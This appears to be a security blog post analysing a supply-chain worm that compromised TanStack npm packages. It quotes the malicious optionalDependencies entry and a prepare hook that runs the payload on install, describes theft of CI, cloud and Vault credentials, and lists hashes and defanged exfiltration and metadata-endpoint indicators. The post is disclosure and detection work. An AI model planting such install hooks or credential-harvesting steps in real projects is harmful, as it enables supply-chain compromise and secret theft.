The Worm That Ate the Workflow: Unpacking the TanStack, React Router, and Mini Shai-Hulud Infection Chain

A sophisticated supply chain compromise has recently targeted the TanStack ecosystem, affecting 84 distinct npm packages. This wasn’t a simple case of stolen credentials; it was a highly orchestrated campaign designed to infiltrate the very heart of the modern DevOps pipeline: Continuous Integration (CI) environments.

By injecting a stealthy, credential-harvesting payload, malicious actors managed to compromise even high-traffic libraries like React Router, which maintains a massive footprint with over 12 million weekly downloads. The scale of this breach poses a systemic risk to global software development lifecycles.

Security researchers at Socket demonstrated the speed of modern detection, noting that their AI-driven scanning engines flagged the compromised artifacts within just six minutes of their publication to the npm registry.

This incident is a subset of a broader, aggressive malware campaign known as “Mini Shai-Hulud.” The campaign has shown significant cross-ecosystem mobility, spreading from the npm registry into the Python Package Index (PyPI). Beyond TanStack, researchers have confirmed that high-profile organizations and tools—including OpenSearch, Mistral AI, Guardrails AI, and UiPath—have also been touched by this wave of infection.

Perhaps most unsettling is the bravado displayed by the attackers. A taunting message left on the attacker-controlled infrastructure, attributed to TeamPCP, suggested that the operators were successfully exfiltrating developer credentials for several hours while security teams were still in the initial stages of investigation.

Technical Anatomy: The TanStack Compromise

The technical core of this attack is a highly obfuscated script named router_init.js. Functioning much like a self-propagating supply-chain worm, the script employs advanced string rotation and hex encoding to bypass traditional static analysis and signature-based detection tools.

Once triggered, the payload executes a “detach” maneuver, severing itself from the parent terminal session to run silently as a background process. Once established, the malware begins a systematic sweep of the host environment, hunting for high-value secrets such as:

• GitHub Actions workflow tokens.
• AWS Metadata instances (IMDS).
• Kubernetes service account certificates.
• HashiCorp Vault cluster credentials.

To facilitate propagation, the malware injects a malicious optionalDependencies block into the project’s package.json:

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}

This entry points to a specific, malicious commit on GitHub. This commit contains a package.json with a critical prepare lifecycle hook, as detailed in the TanStack postmortem:

{
  "scripts": {
    "prepare": "bun run tanstack_runner.js && exit 1"
  }
}

Because npm and other package managers automatically trigger prepare scripts when resolving Git-based dependencies, the tanstack_runner.js payload executes the moment a developer or a CI runner performs an npm install. This effectively turns a standard dependency resolution into an infection vector.

To evade network-level detection, the implant avoids traditional Command-and-Control (C2) servers. Instead, it exfiltrates data via the Session decentralized peer-to-peer network, making the malicious traffic appear to be standard encrypted messaging telemetry. Furthermore, to ensure persistence, the malware hides copies of itself within local Claude Code and Visual Studio Code configuration directories, ensuring it re-activates whenever a developer opens their IDE.

The Attack Vector: Chained Actions and Pipeline Poisoning

The TanStack maintainers have identified the root cause as a chained attack against their GitHub Actions pipeline. The attackers utilized a vulnerable pull request pattern to poison the workflow cache, allowing them to execute code during automated testing phases.

Notably, the attackers did not need to steal static npm publishing tokens. Instead, they performed a highly technical maneuver: extracting runtime OpenID Connect (OIDC) tokens directly from the runner process memory. This allowed them to impersonate the legitimate publisher and push the compromised versions to the npm registry using trusted bindings.

Remediation: TanStack has since deprecated the compromised versions, purged their workflow caches, and tightened repository security protocols. We strongly advise all developers to inspect their local environments for unauthorized scripts and rotate all cloud and service provider secrets immediately.

Indicators of Compromise (IOCs)

Malicious Files

Search for the following filenames and hashes in your build artifacts and local directories:

router_init.js / router_runtime.js

• SHA256: ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c
• SHA1: 12ed9a3c1f73617aefdb740480695c04405d7b4b
• MD5: 833fd59ebe66a4449982c6d18db656b4

tanstack_runner.js / router_init.js

• SHA256: 2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96
• SHA1: e7d582b98ca80690883175470e96f703ef6dc497
• MD5: b82e54923f7e440664d2d75bd31588ca

Network Indicators

Note: The following indicators are defanged for safety. Do not attempt to connect to these URLs directly.

• hxxp://filev2[.]getsession[.]org/file/ (Exfiltration via Session P2P)
• hxxp://169[.]254[.]169[.]254/latest/api/token (AWS EC2 IMDSv2 targeting)
• hxxp://169[.]254[.]170[.]2 (AWS ECS Task Metadata targeting)
• hxxps://api[.]github[.]com/repos/ (GitHub API enumeration)
• hxxps://registry[.]npmjs[.]org/-/npm/v1/tokens (npm token validation)
• vault[.]svc[.]cluster[.]local:8200 (HashiCorp Vault targeting)

Security Note: Please re-fang these indicators only within secure threat intelligence platforms such as MISP, VirusTotal, or your internal SIEM for active hunting.